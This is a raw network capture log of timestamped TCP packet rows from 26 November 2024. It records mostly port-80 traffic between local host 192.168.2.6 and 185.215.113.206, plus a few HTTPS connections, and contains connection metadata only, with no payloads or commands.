Nov 26, 2024 16:31:49.008444071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008450031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008467913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008467913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008467913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008474112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008481026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008486032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008492947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008496046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008501053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008512020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008517027 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008524895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008524895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008528948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008534908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008548975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008554935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008558035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008563042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008569002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008575916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008582115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008584976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008586884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008594036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008599997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008601904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008608103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008614063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008620024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008627892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008630991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008636951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008637905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008644104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008650064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008655071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008655071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008666992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008672953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008676052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008678913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008690119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008696079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.008696079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008708954 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008727074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.008753061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.009875059 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.009953976 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.010704994 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.010821104 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.018646955 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.018655062 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.018892050 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.018898964 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.018946886 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:49.019013882 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:49.145879030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145905018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145910025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145915985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145946026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145951033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145967960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.145968914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.145983934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.145997047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146001101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146025896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146032095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146043062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146053076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146058083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146070004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146075010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146080971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146101952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146107912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146110058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146112919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146120071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146136045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146136045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146142006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146172047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146178961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146186113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146192074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146207094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146209955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146213055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146215916 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146238089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146245003 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146245003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146258116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146271944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146291018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146296024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146301985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146307945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146323919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146327019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146328926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.146358967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.146364927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.147880077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.147886992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.147949934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.147962093 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:49.147983074 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:49.147984982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.147991896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.148006916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.148027897 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:49.148046970 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:49.148060083 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:49.148067951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.148073912 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:49.148102999 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:49.148927927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.148936033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.148993969 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.149662018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.149677992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.149681091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.149835110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.150486946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.150504112 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.150592089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.153136015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.153183937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.154073000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.154118061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.154953003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.154964924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.155090094 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.156920910 CET	49883	443	192.168.2.6	20.103.156.88
Nov 26, 2024 16:31:49.156944036 CET	443	49883	20.103.156.88	192.168.2.6
Nov 26, 2024 16:31:49.157649040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.157737970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.158399105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.158406973 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.158417940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.158462048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.160393000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.160399914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.160516024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.163063049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.163181067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.164064884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.164072990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.165021896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.165903091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.165939093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.166902065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.166913033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.166946888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.169326067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.169338942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.169512987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.170223951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.170231104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.170279980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.172043085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.172122002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.172945976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.173083067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.173877001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.173928976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.174779892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.174793959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.174799919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.174873114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.176778078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.176836967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.176856995 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.178011894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.178294897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.178412914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.179459095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.179466963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.179478884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.179521084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.181438923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.181452036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.181508064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.183510065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.183516979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.183528900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.183593988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.184272051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.185422897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.185506105 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.186527014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.187351942 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.187418938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.188715935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.188723087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.188735008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.188744068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.188786030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.190927982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.190934896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.191014051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.193036079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.193043947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.193056107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.193145037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.194128036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.194236994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.195146084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.195226908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.196119070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.196266890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.199289083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.199408054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.200275898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.200283051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.200432062 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.201040030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.201127052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.201422930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.201428890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.201435089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.201489925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.201590061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.202328920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.202337980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.202406883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.203181028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.203187943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.203239918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.253978968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.253985882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.254049063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.254898071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.254905939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.254916906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.255008936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.255917072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.255928993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.255999088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.256799936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.256840944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.256870031 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.256895065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.257591009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.257596970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.257601976 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.257636070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.257713079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.258837938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.258843899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.258932114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.260073900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.260080099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.260140896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.260982037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.260988951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.261039019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.261996031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.262002945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.262013912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.262161970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.262873888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.262881994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.262958050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.263783932 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.263789892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.263843060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.264988899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.264995098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.265088081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.265877962 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.265883923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.265949965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.266930103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.266936064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.266941071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.266978025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.267031908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.267831087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.267838001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.267899990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.295201063 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.295542955 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.295567989 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.296730042 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.296849012 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.298774004 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.298842907 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.299101114 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.299108028 CET	443	49889	23.200.88.29	192.168.2.6
Nov 26, 2024 16:31:49.340718985 CET	49889	443	192.168.2.6	23.200.88.29
Nov 26, 2024 16:31:49.466413021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466420889 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466425896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466439009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466454029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466459990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466478109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466484070 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466484070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466495991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466500998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466522932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466525078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466531992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466542959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466548920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466562033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466562986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466568947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466588020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466589928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466595888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466618061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466619015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466624975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466638088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466643095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.466655970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466655970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.466717958 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542644978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542659998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542717934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542726040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542747021 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542752981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542758942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542763948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542762041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:49.542790890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542798042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:49.542819977 CET	80	49809	185.215.113.206	192.168.2.6
